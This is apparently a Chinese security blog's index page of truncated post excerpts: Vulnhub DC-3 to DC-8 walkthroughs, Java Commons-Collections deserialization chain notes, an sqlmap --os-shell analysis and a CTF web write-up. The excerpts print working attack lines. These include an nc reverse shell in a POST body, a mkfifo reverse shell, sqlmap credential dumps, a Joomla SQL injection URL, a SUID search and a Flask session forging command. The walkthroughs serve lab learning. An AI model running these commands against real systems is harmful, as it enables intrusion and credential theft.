Vulnhub-DC-8
环境下载地址:https://download.vulnhub.com/dc/DC-8.zip
开始打靶访问IP,得到为Drupal 7和DC-7一模一样,没啥思路扫个目录看看版本为7.67,msf上没有啥漏洞,但是这里肯定是直接漏洞利用,于是找到了如下界面的sql注入直接上sqlmap
1sqlmap -u "http://192.168.75.141/?nid=1" --dbs
1sqlmap -u "http://192.168.75.141/?nid=1" -D d7db --table
然后找到如下表,进入看看最终找到字段
1sqlmap -u "http://192.168.75.141/?nid=1" -D d7db -T users -C name,pass --dump
接着使用jhon去爆破它,把这两行密码复制到记事本里然后去爆破爆破结果为john/turtle,然后在下面插入代码然后将shell转为交互式shell
提权1find / -perm -u=s -type f 2>/dev/null
...
Vulnhub-DC-7
环境下载地址:https://download.vulnhub.com/dc/DC-7.zip
开始打靶存活IP扫描访问页面,内容为Drupal的CMS页面上面没啥东西,但是页面下有百度一下这个用户发现为其GitHub访问其config.php得到数据库账号密码,但是登录不上却可以登录ssh连接如下打开mbox发现存在/opt/scripts/backups.sh访问其目录,查看backups.sh发现有个drush命令,但是不知道其作用,搜索后发现这个命令可以修改密码,进入到var/www/html使用其命令修改
1drush user-password admin --password="123456"
然后利用这个账号密码去登陆在Content—>Add content–>Basic page下准备写马但是不支持,将php进行引入!如下然后把这个扩展开启了再进入刚刚那个界面然后写入木马最后用4连上了,奇奇怪怪
提权进入opt目录,写入打开终端然后写入提权的语句
1echo "rm /tmp/f;mkfifo /tmp/ ...
Vulnhub-DC-6
环境下载地址:https://download.vulnhub.com/dc/DC-6.zip
开始打靶存活IP扫描访问IP显示域名但无法解析,和前面有台DC靶机一样,这里我在win下修改hosts文件,打开这个文件然后正常访问,网站是WordPress的CMS,直接永wpscan先扫一波,这个竟然没扫到登录界面,dirsearch再扫一波找到再使用wpscan扫一波用户名,得到5个用户
1wpscan --url wordy -e u
然后是爆破密码 ,这里vulnhub给了提示让用哪个字典
123OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.cat /usr/share/wordlists/rockyou.t ...
Java学习之CC链7
环境CommonsCollections 3.1 - 3.2.1,jdk好像是没有限制的
链子分析这里其实后半部分和CC1也是一样只不过入口点变了,这里为Hashtable这个类,找样是把他和LazyMap连起来,但是这里不直接去find usages了,因为get调用实在太多了,所以直接看,最后是找到了AbstractMap类,它的equals()方法调用了get()方法那么下一步就是找谁调用了equals()方法,从这里开始会遇到前面几条链没有过的调用方式就是调用子类没有的方法那么就会去到父类调用这个方法,所以在这里HashMap这个类继承了AbstractMap类而HashMap类没有equals()方法那么调用HashMap类equals()方法就会调到AbstractMap类的equals()方法所以接下来就去寻找调用了key.equals我们控制key的类型为HashMap就行了,最终是在HashTable类的reconstitutionPut()方法调用了key.equals其实这里equals的调用还是挺绕的,一开始是传LazyMap对象到AbstractMap类去调用 ...
Java学习之CC链5
环境commons-collections版本如下,这里我一直参考的博客没说,但如果是4.0的话是有问题的后面会提到,其它环境没变
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
链子分析CC5就是改了入口点然后和CC1的LazyMap连接起来,组长后面两条链子没有详细讲了,因为大同小异,这里直接给了入口类,因为这条链子自己去找还是比较困难的,为BadAttributeValueExpException 的 readObject()方法,然后要和LazyMap.get()连上,那么就是找谁调用了get()方法这里如果去find usages去找的话很麻烦,调用实在太多了就直接看吧,最后是找到了TiedMapEntry类的getVa ...
Java学习之CC链2
环境和CC4一样,Commons-Collections 依赖如下
1234567<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency></dependencies>
链子分析CC2其实就是在CC4上修改,它是为了避免transform数组的使用,至于为什么要避免是因为shiro中的漏洞会重写很多动态加载数组的方法,那么可能EXP 无法通过数组实现,当然我还没跟过shiro的链子到时候再去学习,那么到这里后面的流程图就如下前面的就是CC4的东西,所以这里就是要把compare与InvokerTransform连接起来然后再把InvokerTransform与TemplatesI ...
Vulnhub-DC-5
环境下载地址:https://download.vulnhub.com/dc/DC-5.zip
开始打靶常规操作存活IP扫描arp-scan -l端口开放扫描nmap -A -p- 192.168.75.138得全端口扫描不然后面那个扫不出来页面的框框测了一下没啥东西,在我来回跳转的时候看到如下位置会发生变化猜测可能存在文件包含,dirsearch扫描一下目录访问footer.php刷新发现年份变化,而thankyou.php页面刷新也存在变化,确认这里存在文件包含fuzz一下参数本来想用wfuzz来fuzz参数的但是不知道为什么一直404无奈只能掏出我珍藏多年的字典了得到参数为file,从插件中得到服务为nginx那么可以尝试利用日志写马,访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。通过fuzz得到日志路径如下,当然这里是默认的直接访问就行
123/var/log/nginx/access.log/var/log/nginx/error.log
通过ngi ...
Java学习之CC链4
环境其它的和前面一样,只不过Commons-Collections 依赖变为了4.0
1234567<dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency></dependencies>
链子分析在CC4上尾部的命令执行没有什么变化反射或者动态加载字节码,改变的是CC4去掉了 InvokerTransformer 的 Serializable 继承,那么InvokerTransformer用不了了就要找谁调用了transform()随便用个类然后find usages transform()这里最终找的是TransformingComparator 类中的compare方法调用了 ...
Vulnhub-DC-4
环境准备下载地址:https://www.vulnhub.com/entry/dc-4,313/
开始打靶扫描存活IParp-scan -l访问出现一个登录界面,我的7万数据大字典都没爆出来。。。难道不是弱口令??靠admin/admin进去了,我的大字典没有??仔细查看发现根本没做密码验证。。。进入可以执行三个Linux命令抓个包发现是任意代码执行,直接写入webshell发现存在过滤base64之后显示写入成功,但是查看又没有文件就很奇怪,看了wp发现直接弹shell,也对啊,都能命令执行了为啥不试试弹个shell呢。。
1radio=nc+192.168.75.128+6666+-e+/bin/bash&submit=Run
然后用python获取个交互式shell,查看root没有权限
1python -c 'import pty; pty.spawn("/bin/bash")'
exim提权然后就是提权了,查看具有suid权限的命令
1find / -perm -u=s -type f 2>/dev/null
...
Vulnhub--DC-3
环境准备下载地址:http://www.five86.com/downloads/DC-3-2.zip镜像地址:https://download.vulnhub.com/dc/DC-3-2.zip在打开的时候出了一个问题,如下解决方法:在CD/DVD高级设置里面改为如下即可
开始打靶从DC-3开始只有一个flag,得提权到root才能拿到扫描存活IP,记得改为NAT连接arp-scan -lIP为192.168.75.136探测一下存活端口nmap -A 192.168.75.136 扫一下目录看看有个后台,先放着,访问一下IP利用插件发现CMS为Joomla
sql注入看下有没有历史漏洞,发现存在sql注入
1http://192.168.75.136/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)
然后用sqlmap一把梭看看有什么东西吧,将数据包保存在注入的参数加个*
1sq ...
Sqlmap --os-shell原理分析
测试环境这里使用的是本地搭建的sqllab靶场,搭建这个靶场如果遇到数据库加载不成功大概率原因为php版本问题,php版本必须为5.x因为7以上不支持mysql_connect函数用的是mysqli_connect
开始注入这里我一开始--os-shell一直写不进去马,还以为是我路径的问题,后面发现是secure_file_priv=必须为空这个条件不满足,phpstudy数据库里面没有这个参数,所以加上就行开始sql注入,先抓取一个数据包,然后关闭拦截,执行下面命令,这样可以在burp上抓取到所有的数据包
1sqlmap -u "http://192.168.1.102/sqli-labs-master/Less-1/?id=1" --os-shell --proxy=http://127.0.0.1:8080
具体参数选择如下拿到shell
开始分析我们从下面数据包开始分析,前面的都是正常注入的过程这里get方式传入了一大堆url编码的数据
1-8041%27%20OR%209362%3D9362%20LIMIT%200%2C1%20INTO%20OUTFIL ...
NSSCTFRound#13 Web
一点感叹最近很烦,比赛很简单的题也做不出来天天爆0,估计是基础没打牢吧,重新回去刷基础题
flask?jwt?注册账号发现admin已经存在,然后随便注册一个账号发现admin才能getFlag,就是伪造session了在忘记密码发送邮件那里抓包找到key然后就是伪造session了
123python flask_session_cookie_manager3.py decode -s th3f1askisfunny -c "session"python flask_session_cookie_manager3.py encode -s th3f1askisfunny -t "{'_fresh': True, '_id': '0e382100446e160095f79a16dd0bceddee884c4d84dcc9e53bfb47d206175ad1c5005f21630c2892c78a7e4985b69503704833e18205e6eacc9dbb58aa7b3e85', ...